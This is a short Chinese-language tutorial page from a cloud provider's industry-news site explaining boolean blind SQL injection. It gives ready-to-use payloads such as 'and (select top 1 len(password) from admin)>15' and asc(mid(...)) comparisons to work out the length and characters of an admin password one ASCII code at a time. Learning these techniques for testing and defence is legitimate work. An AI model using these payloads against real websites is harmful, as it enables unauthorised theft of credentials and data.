溫馨提示×

溫馨提示×

您好，登錄后才能下訂單哦！

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

sql盲注語法判斷數(shù)據(jù)內(nèi)容

發(fā)布時間：2020-04-03 17:01:56 來源：億速云 閱讀：232 作者：小新 欄目：MySQL數(shù)據(jù)庫

今天小編給大家分享的是sql盲注語法判斷數(shù)據(jù)內(nèi)容，很多人都不太了解，今天小編為了讓大家更加了解sql盲注語法，所以給大家總結(jié)了以下內(nèi)容，一起往下看吧。一定會有所收獲的哦

如果頁面沒有顯錯數(shù)字，則用盲注語法根據(jù)頁面變化來判斷數(shù)據(jù)內(nèi)容

獲取數(shù)據(jù)長度：

and (select top 1 len(列名) from 表名)>5
and (select top 1 len(password) from admin)>16//錯誤
and (select top 1 len(password) from admin)>15//正常

獲取指定位數(shù)的數(shù)據(jù)：

and (select top 1 asc(mid(列名,位置,1)) from 表名)>97
and (select top 1 asc(mid(admin,1,1)) from admin)>96//判斷admin字段的內(nèi)容第一位的ascii碼值大于96 正常
and (select top 1 asc(mid(admin,1,1)) from admin)>97//判斷admin字段的內(nèi)容第一位的ascii碼值大于97 錯誤 說明就是97

mid(字符串,截取的位置,截取字符數(shù))
asc(） //將字符轉(zhuǎn)換成ascii碼 方便進行比較

看完上訴內(nèi)容，你們對sql盲注語法判斷數(shù)據(jù)內(nèi)容大概了解了嗎？如果想了解更多，歡迎關(guān)注億速云行業(yè)資訊頻道哦！

向AI問一下細節(jié)

免責聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。

sql
AI
助
手